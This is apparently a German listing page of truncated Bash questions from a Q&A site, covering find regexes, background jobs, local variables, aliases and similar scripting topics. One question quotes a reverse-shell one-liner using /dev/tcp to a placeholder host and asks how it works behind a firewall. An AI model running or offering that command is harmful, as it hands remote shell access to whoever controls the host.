Fragen speziell zu GNUs Bourne Again SHell im Gegensatz zu anderen Bourne / POSIX-Shells. Verwenden Sie bei Fragen zu Unix-Shells im Allgemeinen stattdessen das Tag / shell.
Ich habe versucht, eine Suchbefehlszeichenfolge zu erstellen, die alle Dateien findet, die mit einer Zahl von 1 bis 99 enden, aber alle anderen ausschließt. Ich möchte zB meineDatei1 , meineDatei99, aber nicht meineDatei456 und nicht meineDateisicherung finden Der Regex, an den ich denke, ist, myfile[1-9]{1,2}aber ich kann ihn nicht dazu …
Auf meinem Computer muss ein Zyklus ausgeführt werden, der 1 einfachen Befehl durchläuft, dessen Verzögerung in Sekundenbruchteilen ausgedrückt werden muss. Sagen wir, ich brauche: um eine datei mit zunehmender enumaration (datei-0, datei-1, datei-2, ...) zu speichern, erzeugen sie für dieses beispiel etwas triviales wie time > file-$x Ich muss dies …
Ich habe im Laufe der Jahre eine ganze Reihe von Shell-Skripten geschrieben (aber ich bin sicherlich kein Sysadmin), und es gab etwas, das mich immer wieder in Schwierigkeiten brachte: Wie kann ich einen Shell-Befehl ausgeben, der von einem Bash- Skript aus immun gegen Abstürze im Hintergrund ist ? Zum Beispiel, …
Ist es möglich, mit dem Befehl find eine farbige Ausgabe zu erhalten ? Das heißt, im Pfad jedes gefundenen Elements sind Verzeichnisse blau, ausführbare Skripte grün und so weiter? Ich verwende Version 4.4.2 von GNU Findutils . Bearbeiten - Zur Verdeutlichung wird jedes Ergebnis folgendermaßen hervorgehoben: ./path/to/file.sh ^ ^ ^ …
Wenn ich eine Nachricht im Pager Mutt anzeige, wird die Uhrzeit im Date-Header in UTC und nicht in meiner lokalen Zeitzone angezeigt. Die Indexansicht zeigt die Ortszeit korrekt an. Ich habe diesen alten Mailinglisten-Beitrag gefunden , in dem beschrieben wird, wie die Ortszeit in der Statusleiste am unteren Bildschirmrand angezeigt …
Ich versuche, eine Liste der Verzeichnisse abzurufen, die in einem bestimmten Ordner enthalten sind. Angesichts dieser Beispielordner: foo/bar/test foo/bar/test/css foo/bar/wp-content/plugins/XYZ foo/bar/wp-content/plugins/XYZ/js foo/bar/wp-content/plugins/XYZ/css baz/wp-content/plugins/ABC baz/wp-content/plugins/ABC/inc baz/wp-content/plugins/ABC/inc/lib baz/wp-content/plugins/DEF bat/bar/foo/blog/wp-content/plugins/GHI Ich möchte einen Befehl, der zurückgibt: XYZ ABC DEF GHI Im Wesentlichen suche ich nach Ordnern, die sich in wp-content / plugins / …
In Bash-Skripten versuche ich, meine Variablen für Funktionen lokal zu halten, wo immer ich kann, und dann das, was ich brauche, aus Funktionen wie unten zu übergeben #!/bin/bash function FUNCTION() { local LOCAL="value" echo "$LOCAL" # return this variable } GLOBAL=$(FUNCTION) echo "$GLOBAL" Aber ist es möglich, dies zu tun, …
Der Befehl fc ermöglicht die visuelle Bearbeitung des vorherigen Befehls. Wie kann ich verhindern, dass der Befehl ausgeführt wird, wenn ich es mir im Editor anders überlege? Geben Sie in vim q! oder q beide führen dazu, dass der Befehl ausgeführt wird und STRG-C auch nicht funktioniert. Ist die einzige …
Ich möchte einen Alias erstellen, der ungefähr so funktioniert: alias userYYY='sudo su userYYY; cd /a/path/that/only/userYYY/has/access' Von meiner Befehlszeile aus bin ich mit einem Sudo-Benutzer angemeldet und möchte den Alias userYYYso eingeben , dass meine Shell jetzt angemeldet ist userYYYund pwdist /a/path/that/only/userYYY/has/access. Wie kann ich das machen? Dies userYYYdient zum Ausführen …
Ich habe es versucht bash -i >& /dev/tcp/HOST/PORT 0>&1, aber es scheint nicht hinter der Firewall zu funktionieren. Was macht dieser Code eigentlich, welche Ports werden weitergeleitet und könnte er hinter fiewall funktionieren?
Sagen wir, ich habe eine PID in der Hand, mypid=$$ Gibt es einen Bash / System-Befehl, mit dem ich auf das Beenden dieses Prozesses mit der angegebenen PID warten kann? Wenn kein Prozess mit mypid existiert, sollte der Befehl einfach fehlschlagen.
Wie kann ich den Spinner zeigen, bis die Befehlszeile fertig ist? Mit anderen Worten: Wenn ich ein Skript ausführe und den Spinner anzeigen möchte, während dieses Skript ausgeführt wird, und der Spinner verschwindet, wenn das Skript beendet ist, ist es ein Job. Bellow ist ein gängiger Spinner-Code: i=1 sp="/-\|" echo …
Wie füge ich rekursiv eine Datei zum aktuellen Verzeichnis sowie zu allen Unterverzeichnissen hinzu (oder berühre sie)? Zum Beispiel möchte ich diesen Verzeichnisbaum drehen: . ├── 1 │ ├── A │ └── B ├── 2 │ └── A └── 3 ├── A └── B └── I 9 directories, 0 files …
Ich versuche ein Skript zu erstellen, das viele Hintergrundbefehle startet. Für jeden Hintergrundbefehl muss ich den Rückkehrcode erhalten. Ich habe folgendes Skript ausprobiert: #!/bin/bash set -x pid=() return=() for i in 1 2 do echo start $i ssh mysql "/root/test$i.sh" & pid[$i]=$! done for i in ${#pid[@]} do echo ${pid[$i]} …
Ich kann die Namen anderer Benutzer auf dem Remotecomputer mit dem whoBefehl anzeigen ... Ich möchte auch die IP-Adresse dieser Benutzer kennen ... Ich habe es mit den Befehlen versucht /sbin/ifconfingund netstatkonnte aber keine positiven Ergebnisse erzielen ... Ich brauche diese Lösung, die sowohl mit Linux als auch mit Unix …
We use cookies and other tracking technologies to improve your browsing experience on our website,
to show you personalized content and targeted ads, to analyze our website traffic,
and to understand where our visitors are coming from.
By continuing, you consent to our use of cookies and other tracking technologies and
affirm you're at least 16 years old or have consent from a parent or guardian.